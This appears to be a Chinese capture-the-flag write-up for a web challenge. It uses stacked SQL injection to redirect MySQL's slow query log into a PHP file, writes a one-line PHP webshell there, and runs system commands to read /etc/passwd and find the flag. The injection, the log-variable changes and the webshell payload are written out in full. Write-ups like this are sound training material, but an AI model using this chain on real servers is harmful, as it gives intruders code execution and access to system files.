解题过程

访问robots.txt,可得三个文件index.php、config.php、helpyou2findflag.php。
fuzz黑名单,可发现select、单双引号、括号、分号、set、show、variables、等都没有过滤。
经测试可得到闭合方式为括号,且白名单为数据库记录行数,使用

  1. 1);{sqlinject}-- +

可以闭合查询语句并进行堆叠注入。

  1. show variables like '%slow_query_log%'; # 查询慢日志记录是否开启setglobal slow_query_log=1; # 开启慢查询日志
  2. setglobal slow_query_log_file='/var/www/html/helpyou2findflag.php'; # 设置慢查询日志位置

查询慢日志记录有关的变量。
image.png
修改慢查询日志的保存位置。
image.png
sleep函数在黑名单中因此不能直接使用,这里有一个考点:慢查询日志只会记录超过long_query_time时间的查询语句,因此要在写入webshell的sql语句中超过执行耗时命令,由于union和sleep都被过滤所以需要一定的绕过技巧,最简单的方式应该是修改long_query_time的值。

  1. 1);setglobal long_query_time=0.000001;--+
  2. 1);show variables like 'long_query_time';--+

查询慢查询日志的判定时间。
image.png
查询一个webshell,查询记录就会被添加到slow_query_log_file变量所指向的位置,这里fuzz黑名单可知一句话木马中常见的关键词被过滤了,绕过一下即可:

  1. 1);select '<?php $_REQUEST[a]($_REQUEST[b])?>';--+

访问helpyou2findflag.php即可访问webshell。
image.png
接下来就是找flag了,查看用户发现有rainbow用户

  1. ip:port/helpyou2findflag.php?a=system&b=awk%20-F%27:%27%20%27{%20print%20$1}%27%20/etc/passwd

查看家目录发现有ssh.log,flag就在其中。
image.png